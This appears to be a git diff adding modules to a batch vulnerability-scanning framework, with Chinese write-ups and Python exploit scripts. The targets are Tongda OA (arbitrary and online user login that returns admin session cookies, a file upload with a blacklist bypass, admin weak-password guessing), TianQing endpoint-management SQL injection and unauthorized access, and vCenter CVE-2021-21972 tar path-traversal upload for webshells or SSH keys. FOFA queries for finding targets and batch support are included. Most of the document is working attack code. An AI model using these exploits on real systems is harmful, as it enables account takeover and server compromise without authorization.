Moudle/TDXK/TDXK_Any_user_login.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
通达OA部分版本存在任意用户登录漏洞,在未授权的情况下,通过一系列的请求操作,获取到合法的cookie,最终实现任意用户登录。
|
||||
|
||||
比任意在线用户登录漏洞更好一些,利用条件更低。
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
通达OA < 11.5.200417版本
|
||||
通达OA 2017版本
|
||||
|
||||
# 3、本地环境搭建
|
||||
|
||||
下载其中一个受影响的版本安装包,直接傻瓜式下一步自动安装。
|
||||
|
||||
# 4、漏洞利用
|
||||
|
||||
首先,访问http://ip:port/ispirit/login_code.php ,获取到codeuid
|
||||
|
||||

|
||||
|
||||
其次,使用该codeuid作为post数据中的一部分,访问http://ip:port/general/login_code_scan.php ,返回status为1,则代表成功,否则返回status为0则代表失败,需要重复第一步获取新的codeuid,如果多次都是失败,则代表可能没有漏洞。
|
||||
|
||||

|
||||
|
||||
然后,同样使用该uid值作为传参,访问http://ip:port/ispirit/login_code_check.php?codeuid=【codeuid值】,与服务端交互,使得上一步客户端中使用的cookie合法。
|
||||
|
||||

|
||||
|
||||
如果是请求的时候没有带cookie,比如脚本请求,服务端会返回给客户端一个cookie。
|
||||
|
||||

|
||||
|
||||
最后,如果一直用的浏览器进行的操作,那么此时浏览器直接访问http://ip:port/general/index.php ,会发现已经成功登录上了admin账号,登录其他账号在第二步修改username的值。
|
||||
|
||||
或者在新的浏览器里,使用cookie编辑插件,通过第三步获取到的cookie值,访问http://ip:port/general/index.php ,直接登录。
|
||||
|
||||

|
||||
|
||||
# 5、exp
|
||||
|
||||
既是poc,也是exp,通过框架调用,支持批量,只打印存在漏洞的URL,同时返回cookie,方便验证,返回网站title,初步了解网站归属。
|
||||
75
Moudle/TDXK/TDXK_Any_user_login.py
Normal file
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import re
|
||||
from Config.config_requests import ua
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TDXK_Any user login'
|
||||
AUTHOR="境心"
|
||||
REMARK='TDXK_任意用户登录'
|
||||
FOFA_RULE='app="TDXK-通达OA"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
# 第一步
|
||||
login_code_url = target+"/ispirit/login_code.php"
|
||||
login_code_headers = {
|
||||
"User-Agent" : ua
|
||||
}
|
||||
login_code_res = requests.get(login_code_url,headers=login_code_headers, verify=False,timeout=5)
|
||||
login_code_res = eval(login_code_res.text)
|
||||
try:
|
||||
codeuid = login_code_res['codeuid']
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
# 第二步
|
||||
login_code_scan_url = target+"/general/login_code_scan.php"
|
||||
login_code_scan_headers = {
|
||||
"User-Agent" : ua
|
||||
}
|
||||
login_code_scan_data = {
|
||||
"uid" : "1",
|
||||
"codeuid" : codeuid,
|
||||
"type" : "confirm",
|
||||
"source" : "pc",
|
||||
"username" : "admin"
|
||||
}
|
||||
# 第三步
|
||||
login_code_scan_res = requests.post(login_code_scan_url,data=login_code_scan_data,headers=login_code_scan_headers, verify=False,timeout=5)
|
||||
if "1" in login_code_scan_res.text:
|
||||
login_code_check_url = target+"/ispirit/login_code_check.php?codeuid="+codeuid
|
||||
login_code_check_headers = {
|
||||
"User-Agent" : ua
|
||||
}
|
||||
login_code_check_res = requests.get(login_code_check_url,headers=login_code_check_headers, verify=False,timeout=5)
|
||||
if "confirm" in login_code_check_res.text:
|
||||
login_cookie = login_code_check_res.headers['Set-Cookie']
|
||||
# 第四步
|
||||
target_url = target+"/general/index.php"
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Cookie" : login_cookie
|
||||
}
|
||||
target_res = requests.get(target_url,headers=headers,verify=False,timeout=5)
|
||||
try:
|
||||
title = re.findall('<title>(.*)</title>', str(target_res.text))[0]
|
||||
except:
|
||||
title = ""
|
||||
result['vul_url'] = target_url
|
||||
result['cookie'] = login_cookie
|
||||
result['title'] = title
|
||||
result['message'] = "存在任意用户登录漏洞"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
85
Moudle/TDXK/TDXK_logined_any_file_upload.md
Normal file
@@ -0,0 +1,85 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
通达OA部分版本在成功登录系统后,存在任意文件上传漏洞,配合手动设置的上传文件保存路径,可直接getshell。
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
V11.2
|
||||
|
||||
V11.3
|
||||
|
||||
# 3、漏洞复现
|
||||
|
||||
|
||||
|
||||
登陆后,选择菜单-->系统管理员-->附件管理;
|
||||
|
||||
然后配置文件保存路径,若真实环境中已经保存了上传路径,并且上传路径为webroot目录之下的任何一个子目录,则可不用修改,直接用即可。
|
||||
|
||||

|
||||
|
||||
文件上传位置在,组织-->系统管理员-->上传附件,默认文件上传位置C:\MYOA\attach\im\2108,因为不在web目录下边,所以不能通过web直接访问,可借助文件包含试试;
|
||||
|
||||

|
||||
|
||||
上传文件时抓包,同时利用Windows文件命名特性,后缀加.绕过文件上传黑名单,
|
||||
|
||||

|
||||
|
||||
上传后的目录则在设置的主目录下的im/上传返回的一串数字/文件名,这个2108为im目录的子目录,下划线后边的这串数字则为文件名的一部分,整个文件名在这里是1664170897.21.php,命名规则为返回的这串数字+.+上传的文件名;
|
||||
|
||||

|
||||
|
||||
POST包:
|
||||
|
||||
```python
|
||||
POST /module/upload/upload.php?module=im HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
|
||||
Accept: */*
|
||||
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: multipart/form-data; boundary=---------------------------405175731128638857693749932995
|
||||
Content-Length: 948
|
||||
Origin: http://127.0.0.1
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Referer: http://127.0.0.1/general/index.php?isIE=0&modify_pwd=0
|
||||
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=5197c48a; PHPSESSID=v0vakndetps2s3o506alv3fhc5
|
||||
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="id"
|
||||
|
||||
WU_FILE_0
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
21.php
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="type"
|
||||
|
||||
application/octet-stream
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="lastModifiedDate"
|
||||
|
||||
2021/8/30 上午10:41:07
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="size"
|
||||
|
||||
31
|
||||
-----------------------------405175731128638857693749932995
|
||||
Content-Disposition: form-data; name="file"; filename="21.php."
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<?php
|
||||
echo "this is a friendly test, Please check and repair upload vulnerabilities."
|
||||
?>
|
||||
-----------------------------405175731128638857693749932995--
|
||||
|
||||
```
|
||||
|
||||
# 4、poc
|
||||
|
||||
poc这里只验证是否能上传上去,没有考虑上传后的目录问题,不过只要能上传上去,上传后的目录也就能知道,上边也有写。
|
||||
|
||||
poc这里调用了通达OA的另外两个漏洞,任意在线用户登录、任意用户登录,为了方便能够在只知道url的情况下,直接验证,配合框架,可以批量。
|
||||
114
Moudle/TDXK/TDXK_logined_any_file_upload.py
Normal file
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import re
|
||||
import requests.packages.urllib3
|
||||
import io
|
||||
from Config.config_requests import ua
|
||||
from Moudle.TDXK.TDXK_Any_user_login import poc as poc1
|
||||
from Moudle.TDXK.TDXK_online_user_login import poc as poc2
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TDXK_logined any file upload'
|
||||
AUTHOR="境心"
|
||||
REMARK='TDXK_登录后任意文件上传'
|
||||
FOFA_RULE='app="TDXK-通达OA"'
|
||||
######################################################
|
||||
|
||||
def poc_content():
|
||||
content = """-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="id"
|
||||
|
||||
WU_FILE_0
|
||||
-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="name"
|
||||
|
||||
test.php
|
||||
-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="type"
|
||||
|
||||
application/octet-stream
|
||||
-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="lastModifiedDate"
|
||||
|
||||
2021/8/25 下午2:58:14
|
||||
-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="size"
|
||||
|
||||
31
|
||||
-----------------------------340010984629733334144172362322
|
||||
Content-Disposition: form-data; name="file"; filename="test.php."
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
<?php
|
||||
echo "this is a friendly test, Please check and repair upload vulnerabilities."
|
||||
?>
|
||||
-----------------------------340010984629733334144172362322--"""
|
||||
mem_string = io.StringIO()
|
||||
mem_string.write(content)
|
||||
mem_string.seek(0)
|
||||
return mem_string
|
||||
|
||||
def get_cookie(target):
|
||||
result1 = poc1(target)
|
||||
if result1['cookie']:
|
||||
cookie = result1['cookie']
|
||||
else:
|
||||
result2 = poc2(target)
|
||||
if result2['cookie']:
|
||||
cookie = result2['cookie']
|
||||
return cookie
|
||||
|
||||
|
||||
def poc(target,cookie=None):
|
||||
result = {}
|
||||
mem_string = poc_content()
|
||||
upload_url = target+"/module/upload/upload.php?module=im"
|
||||
target_tmp_file = [('file', ('test.php', mem_string.read(), 'image/jpeg'))]
|
||||
if cookie != None:
|
||||
cookie = cookie
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Content-Type": "multipart/form-data; boundary=---------------------------340010984629733334144172362322",
|
||||
"Cookie": cookie,
|
||||
"Connection": "close"
|
||||
}
|
||||
target_res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
|
||||
res_text = target_res.text
|
||||
if "test.php" in res_text and "SUCCESS" in res_text:
|
||||
target_tmp_path = re.findall('@(\d+)_', str(res_text))[0]
|
||||
target_tmp_filename = re.findall('@\d+_(\d+)', str(res_text))[0]
|
||||
target_filename = target_tmp_filename + '.test.php'
|
||||
print("文件位置: 未知上层目录/im/" + target_tmp_path + "/"+target_filename)
|
||||
elif cookie == None:
|
||||
cookie = get_cookie(target)
|
||||
headers = {
|
||||
"User-Agent": ua,
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Content-Type": "multipart/form-data; boundary=---------------------------340010984629733334144172362322",
|
||||
"Cookie": cookie,
|
||||
"Connection": "close"
|
||||
}
|
||||
target_res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
|
||||
res_text = target_res.text
|
||||
if "test.php" in res_text and "SUCCESS" in res_text:
|
||||
target_tmp_path = re.findall('@(\d+)_', str(res_text))[0]
|
||||
target_tmp_filename = re.findall('@\d+_(\d+)', str(res_text))[0]
|
||||
target_filename = target_tmp_filename+'.test.php'
|
||||
result['文件位置'] = "未知上层目录/im/"+target_tmp_path+"/"+target_filename
|
||||
result['poc'] = NAME
|
||||
result['message'] = '存在登录后任意文件上传漏洞'
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
# 结合任意登录漏洞盲测
|
||||
poc("http://127.0.0.1")
|
||||
# 盲测无结果,但能获取到账号的情况下,精准测试
|
||||
# poc("http://127.0.0.1","PHPSESSID=tbd8hi89eqtbeadt29rmort167; path=/")
|
||||
49
Moudle/TDXK/TDXK_online_user_login.md
Normal file
@@ -0,0 +1,49 @@
|
||||
# 1、写在前方
|
||||
漏洞利用虽然不复杂,但是因为条件限制,有点看脸的赶脚,fofa上第二页才找到一个可利用的,所以吧。。。
|
||||
# 2、漏洞描述
|
||||
通达OA V11.7版本存在任意在线用户登录漏洞,只需账号是已登录状态,其他访问者无需账号、密码即可登录该账号。
|
||||
使用fofa语句搜索该版本的通达OA
|
||||
|
||||
```
|
||||
app="TDXK-通达OA"
|
||||
```
|
||||
|
||||
|
||||
|
||||
# 3、漏洞验证
|
||||
## 3.1、漏洞URL
|
||||
访问如下URL(重点是URI部分,尤其是uid),更改遍历uid的值(数字),即可实现任意在线用户登录。
|
||||
|
||||
```
|
||||
http://x.x.x.x:port/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
|
||||
```
|
||||
|
||||
|
||||
|
||||
## 3.2、漏洞验证
|
||||
页面返回为空白,则证明可利用
|
||||
|
||||

|
||||
|
||||
页面返回RELOGIN,则不能利用
|
||||
|
||||

|
||||
|
||||
若漏洞可利用,则我们已经获取到了登录的cookie
|
||||
|
||||

|
||||
|
||||
# 4、漏洞利用
|
||||
此时我们将URL改为如下内容(其实改的URI部分),然后访问,发现就已经成功登录了。
|
||||
|
||||
```
|
||||
http://x.x.x.x:port/general/
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
# 5、脚本
|
||||
这个漏洞poc与exp差不多,脚本会返回漏洞URL、可直接登录的cookie,与框架结合可批量。
|
||||
|
||||
37
Moudle/TDXK/TDXK_online_user_login.py
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TDXK_online user login'
|
||||
AUTHOR="境心"
|
||||
REMARK='TDXK_任意在线用户登录'
|
||||
FOFA_RULE='app="TDXK-通达OA"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vul_url = target+"/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
|
||||
|
||||
res = requests.get(vul_url, headers=headers, verify=False,timeout=5)
|
||||
if res.status_code == 200 and res.text == "RELOGIN":
|
||||
pass
|
||||
elif res.status_code == 200 and res.text == "":
|
||||
res_headers = res.headers
|
||||
cookie = res_headers['Set-Cookie']
|
||||
result['vul_url'] = vul_url
|
||||
result['cookie'] = cookie
|
||||
result['poc'] = NAME
|
||||
result['message'] = "存在任意在线用户登录漏洞"
|
||||
return result
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1:8088/")
|
||||
46
Moudle/TDXK/TDXK_weakpwd.py
Normal file
@@ -0,0 +1,46 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import base64
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TDXK_weakpwd'
|
||||
AUTHOR="nuoyan"
|
||||
REMARK='TDXK_弱口令'
|
||||
FOFA_RULE='app="TDXK-通达OA"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vul_url = target+"/logincheck.php"
|
||||
|
||||
dic=['','123456','admin','123456789','1','123','111111']
|
||||
for i in dic:
|
||||
postdata = {
|
||||
'UNAME': 'admin',
|
||||
'PASSWORD': base64.b64encode(i.encode()).decode(),
|
||||
'encode_type': '1',
|
||||
}
|
||||
|
||||
res = requests.post(vul_url, headers=headers,data=postdata, verify=False,timeout=10)
|
||||
if 'goto_oa' in res.text:
|
||||
result['target'] = target
|
||||
result['poc'] = NAME
|
||||
result['message'] = "存在admin弱口令:{}".format(i)
|
||||
return result
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1:8088/")
|
||||
|
||||
|
||||
BIN
Moudle/TDXK/images/1.png
Normal file
|
After Width: | Height: | Size: 86 KiB |
BIN
Moudle/TDXK/images/11.png
Normal file
|
After Width: | Height: | Size: 17 KiB |
BIN
Moudle/TDXK/images/12.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
Moudle/TDXK/images/13.png
Normal file
|
After Width: | Height: | Size: 122 KiB |
BIN
Moudle/TDXK/images/14.png
Normal file
|
After Width: | Height: | Size: 79 KiB |
BIN
Moudle/TDXK/images/15.png
Normal file
|
After Width: | Height: | Size: 80 KiB |
BIN
Moudle/TDXK/images/16.png
Normal file
|
After Width: | Height: | Size: 79 KiB |
BIN
Moudle/TDXK/images/2.png
Normal file
|
After Width: | Height: | Size: 105 KiB |
BIN
Moudle/TDXK/images/21.png
Normal file
|
After Width: | Height: | Size: 74 KiB |
BIN
Moudle/TDXK/images/22.png
Normal file
|
After Width: | Height: | Size: 66 KiB |
BIN
Moudle/TDXK/images/23.png
Normal file
|
After Width: | Height: | Size: 106 KiB |
BIN
Moudle/TDXK/images/24.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
Moudle/TDXK/images/3.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
Moudle/TDXK/images/31.png
Normal file
|
After Width: | Height: | Size: 34 KiB |
BIN
Moudle/TDXK/images/32.jpg
Normal file
|
After Width: | Height: | Size: 19 KiB |
BIN
Moudle/TDXK/images/33.jpg
Normal file
|
After Width: | Height: | Size: 147 KiB |
BIN
Moudle/TDXK/images/34.jpg
Normal file
|
After Width: | Height: | Size: 113 KiB |
BIN
Moudle/TDXK/images/4.png
Normal file
|
After Width: | Height: | Size: 112 KiB |
BIN
Moudle/TDXK/images/5.png
Normal file
|
After Width: | Height: | Size: 52 KiB |
BIN
Moudle/TDXK/images/6.png
Normal file
|
After Width: | Height: | Size: 70 KiB |
BIN
Moudle/TDXK/images/7.png
Normal file
|
After Width: | Height: | Size: 40 KiB |
32
Moudle/TianQing/TianQing_SQLinjection.py
Normal file
@@ -0,0 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TianQing_SQLinjection'
|
||||
AUTHOR="JDQ"
|
||||
REMARK='天擎终端安全管理系统SQL注入'
|
||||
FOFA_RULE='icon_hash="-829652342"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
headers={
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.get(target+"/api/dp/rptsvcsyncpoint?ccid=1",headers=headers, verify=False,timeout=10)
|
||||
if r.status_code==200 and 'result":0,"reason":"success' in r.text:
|
||||
result['vurl'] = target + "/api/dp/rptsvcsyncpoint?ccid=1"
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
except:
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
35
Moudle/TianQing/TianQing_Unauthorized.py
Normal file
@@ -0,0 +1,35 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='TianQing_Unauthorized'
|
||||
AUTHOR="JDQ"
|
||||
REMARK='天擎终端安全管理系统未授权访问'
|
||||
FOFA_RULE='icon_hash="-829652342"'
|
||||
######################################################
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
headers={
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
|
||||
}
|
||||
|
||||
try:
|
||||
r = requests.get(target+"/api/dbstat/gettablessize",headers=headers, verify=False,timeout=10)
|
||||
|
||||
if r.status_code==200 and 'result":0,"reason":"success' in r.text:
|
||||
result['vurl'] = target + "/api/dbstat/gettablessize"
|
||||
result['poc'] = NAME
|
||||
return result
|
||||
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
poc("http://127.0.0.1")
|
||||
BIN
Moudle/VCenter/1.png
Normal file
|
After Width: | Height: | Size: 77 KiB |
111
Moudle/VCenter/CVE_2021_21972.md
Normal file
@@ -0,0 +1,111 @@
|
||||
# 1、漏洞描述
|
||||
|
||||
vSphere Client(HTML5) 在 vCenter Server 插件中存在一个未授权的上传API接口。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,或向Linux系统的指定目录写入ssh 私钥,进而控制服务器。
|
||||
|
||||
fofa搜索方法见poc。
|
||||
|
||||
# 2、影响范围
|
||||
|
||||
vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
|
||||
|
||||
vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
|
||||
|
||||
vmware:vcenter_server 6.5 U3n 之前的 6.5 版本
|
||||
|
||||
# 3、漏洞分析
|
||||
|
||||
漏洞分析内容直接搬网上的,方便之后看漏洞部分代码
|
||||
|
||||
vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:
|
||||
|
||||
```java
|
||||
@RequestMapping(
|
||||
value = {"/uploadova"},
|
||||
method = {RequestMethod.POST}
|
||||
)
|
||||
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
|
||||
logger.info("Entering uploadOvaFile api");
|
||||
int code = uploadFile.isEmpty() ? 400 : 200;
|
||||
PrintWriter wr = null;
|
||||
...
|
||||
response.setStatus(code);
|
||||
String returnStatus = "SUCCESS";
|
||||
if (!uploadFile.isEmpty()) {
|
||||
try {
|
||||
logger.info("Downloading OVA file has been started");
|
||||
logger.info("Size of the file received : " + uploadFile.getSize());
|
||||
InputStream inputStream = uploadFile.getInputStream();
|
||||
File dir = new File("/tmp/unicorn_ova_dir");
|
||||
if (!dir.exists()) {
|
||||
dir.mkdirs();
|
||||
} else {
|
||||
String[] entries = dir.list();
|
||||
String[] var9 = entries;
|
||||
int var10 = entries.length;
|
||||
|
||||
for(int var11 = 0; var11 < var10; ++var11) {
|
||||
String entry = var9[var11];
|
||||
File currentFile = new File(dir.getPath(), entry);
|
||||
currentFile.delete();
|
||||
}
|
||||
|
||||
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
|
||||
}
|
||||
|
||||
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
|
||||
TarArchiveEntry entry = in.getNextTarEntry();
|
||||
ArrayList result = new ArrayList();
|
||||
```
|
||||
|
||||
代码逻辑是将 TAR 文件解压后上传到`/tmp/unicorn_ova_dir` 目录。注意到如下代码:
|
||||
|
||||
```java
|
||||
while(entry != null) {
|
||||
if (entry.isDirectory()) {
|
||||
entry = in.getNextTarEntry();
|
||||
} else {
|
||||
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
|
||||
File parent = curfile.getParentFile();
|
||||
if (!parent.exists()) {
|
||||
parent.mkdirs();
|
||||
```
|
||||
|
||||
直接将 TAR 的文件名与`/tmp/unicorn_ova_dir`拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历
|
||||
|
||||
**tips:**
|
||||
|
||||
如果是Linux系统,并且开放了ssh端口,可上传Linux的ssh 私钥,直接免密登录系统,创建一个包含`../../home/vsphere-ui/.ssh/authorized_keys`的 TAR 文件并上传后利用 SSH 登陆。
|
||||
|
||||
# 4、漏洞复现
|
||||
|
||||
手工复现的时候遇到一个坑,看着POST包都没问题,但是上传总是返回FAILED,最后发现是上传的tar包没对应好操作系统,这里应该是解压的时候,不存在的目录也不会自动创建,导致返回FAILED,所以手工复现的时候要注意。
|
||||
|
||||
下边POST包中,【上传的TAR包内容】部分内容,不能直接复制,不能更改,要借用本地的文件上传环境抓包,修改URI和HOST。
|
||||
|
||||
POST包:
|
||||
|
||||
```java
|
||||
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
|
||||
Host: x.x.x.x
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
|
||||
Content-Type: multipart/form-data; boundary=---------------------------211802199140467231863335463058
|
||||
Content-Length: 2796
|
||||
Connection: close
|
||||
|
||||
-----------------------------211802199140467231863335463058
|
||||
Content-Disposition: form-data; name="uploadFile"; filename="Linux_t.tar"
|
||||
Content-Type: application/x-tar
|
||||
|
||||
【上传的TAR包内容】
|
||||
-----------------------------211802199140467231863335463058--
|
||||
```
|
||||
|
||||
TAR包中的目录格式,Windows系统的为`../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp`,Linux系统的为`../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp`,至于是poc还是exp更改test.jsp文件内容即可。
|
||||
|
||||
上传之后poc/exp的位置,Windows系统的为`https://ip:port/statsreport/test.jsp`,Linux系统的为`https://ip:port/ui/resources/test.jsp`。若更改了tar包中的poc/exp的文件名,这里的文件名也相应的改变。
|
||||
|
||||
# 5、poc
|
||||
|
||||
这里也遇到了两个坑,一是上传的时候不落地文件,想着在内存中生成tar文件,其中用到了tarfile.open,关键是其中的fileobj参数,以及TarInfo和addfile,也是在本地的文件上传环境中不断尝试才成功。二是内存中操作数据的时候,一定要在读取数据的时候使用seek移动读取的位置,默认是数据写到哪,就在哪个位置读取,不用seek的话,一般读到的都是空。
|
||||
|
||||
poc做了操作系统类型判断,只返回有漏洞的URL和poc URL,方便验证,配合框架可批量,更改content的内容,即可为exp。
|
||||
85
Moudle/VCenter/CVE_2021_21972.py
Normal file
@@ -0,0 +1,85 @@
|
||||
#!/usr/bin/env python3
|
||||
# _*_ coding:utf-8 _*_
|
||||
|
||||
import requests
|
||||
import requests.packages.urllib3
|
||||
import tarfile
|
||||
import io
|
||||
from Config.config_requests import headers
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
# 脚本信息
|
||||
######################################################
|
||||
NAME='CVE-2021-21972'
|
||||
AUTHOR="境心"
|
||||
REMARK='VCenter6.7及以下版本任意文件上传漏洞'
|
||||
FOFA_RULE='title="+ ID_VC_Welcome +"'
|
||||
######################################################
|
||||
|
||||
# 内存生成poc tar文件
|
||||
def content_poc(target):
|
||||
windows_filename = "../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp"
|
||||
linux_filename = "../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp"
|
||||
content = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
|
||||
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
|
||||
%>"""
|
||||
system_type = ve_system_poc(target)
|
||||
if system_type is not None:
|
||||
mem_string = io.BytesIO()
|
||||
tr_file = tarfile.open(fileobj=mem_string, mode='w')
|
||||
if system_type == "windows":
|
||||
info = tarfile.TarInfo(name=windows_filename)
|
||||
info.size = len(content)
|
||||
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
|
||||
tr_file.close()
|
||||
elif system_type == "linux":
|
||||
info = tarfile.TarInfo(name=linux_filename)
|
||||
info.size = len(content)
|
||||
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
|
||||
tr_file.close()
|
||||
return mem_string,system_type
|
||||
|
||||
# 判断系统类型1
|
||||
def ve_system(target):
|
||||
ve_url = target + '/Ui/vropspluginui/rest/services/uploadova'
|
||||
res1 = requests.get(ve_url, headers=headers, verify=False, timeout=5)
|
||||
return res1.status_code
|
||||
|
||||
# 判断系统类型2
|
||||
def ve_system_poc(target):
|
||||
vurl = target + '/ui/vropspluginui/rest/services/uploadova'
|
||||
ve_res = requests.get(vurl, headers=headers, verify=False, timeout=5)
|
||||
if ve_res.status_code == 405:
|
||||
if ve_system(target) == ve_res.status_code:
|
||||
return "windows"
|
||||
else:
|
||||
return "linux"
|
||||
else:
|
||||
return None
|
||||
|
||||
def poc(target):
|
||||
result = {}
|
||||
vurl = target + '/ui/vropspluginui/rest/services/uploadova'
|
||||
mem_string,system_type = content_poc(target)
|
||||
# 移动读写位置到最开始
|
||||
mem_string.seek(0)
|
||||
file = [('uploadFile', ('test.tar', mem_string.read(), 'application/x-tar'))]
|
||||
res = requests.post(vurl, files=file, headers=headers, verify=False, timeout=5)
|
||||
if "SUCCESS" in res.text:
|
||||
if system_type == "windows":
|
||||
poc_url = target + "/statsreport/test.jsp"
|
||||
elif system_type == "linux":
|
||||
poc_url = target + "/ui/resources/test.jsp"
|
||||
